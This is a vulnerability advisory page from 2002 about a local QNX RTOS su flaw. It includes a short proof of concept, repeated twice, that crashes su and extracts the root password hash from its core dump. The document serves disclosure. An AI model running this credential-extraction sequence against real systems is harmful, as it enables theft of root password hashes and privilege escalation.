QNX RTOS su Password Hash Disclosure Vulnerability
BID:4914
Info
QNX RTOS su Password Hash Disclosure Vulnerability
| Bugtraq ID: | 4914 |
| Class: | Unknown |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Jun 03 2002 12:00AM |
| Updated: | Jun 03 2002 12:00AM |
| Credit: | Credited to [email protected]. |
| Vulnerable: |
QNX RTOS 6.1 QNX RTOS 4.25 |
| Not Vulnerable: | |
Exploit / POC
QNX RTOS su Password Hash Disclosure Vulnerability
The following proof of concept was provided by [email protected]:
$su > /dev/null &
$kill -SEGV `ps -A | grep su | awk {'print $1'}`
$strings /var/dumps/su.core | grep ":0:0" > /tmp/mypasswd
The attacker has effectively obtained a copy of the root user's password hash.
The following proof of concept was provided by [email protected]:
$su > /dev/null &
$kill -SEGV `ps -A | grep su | awk {'print $1'}`
$strings /var/dumps/su.core | grep ":0:0" > /tmp/mypasswd
The attacker has effectively obtained a copy of the root user's password hash.
Solution / Fix
QNX RTOS su Password Hash Disclosure Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
QNX RTOS su Password Hash Disclosure Vulnerability
References:
References:
- QNX Homepage (QNX Software Systems Ltd.)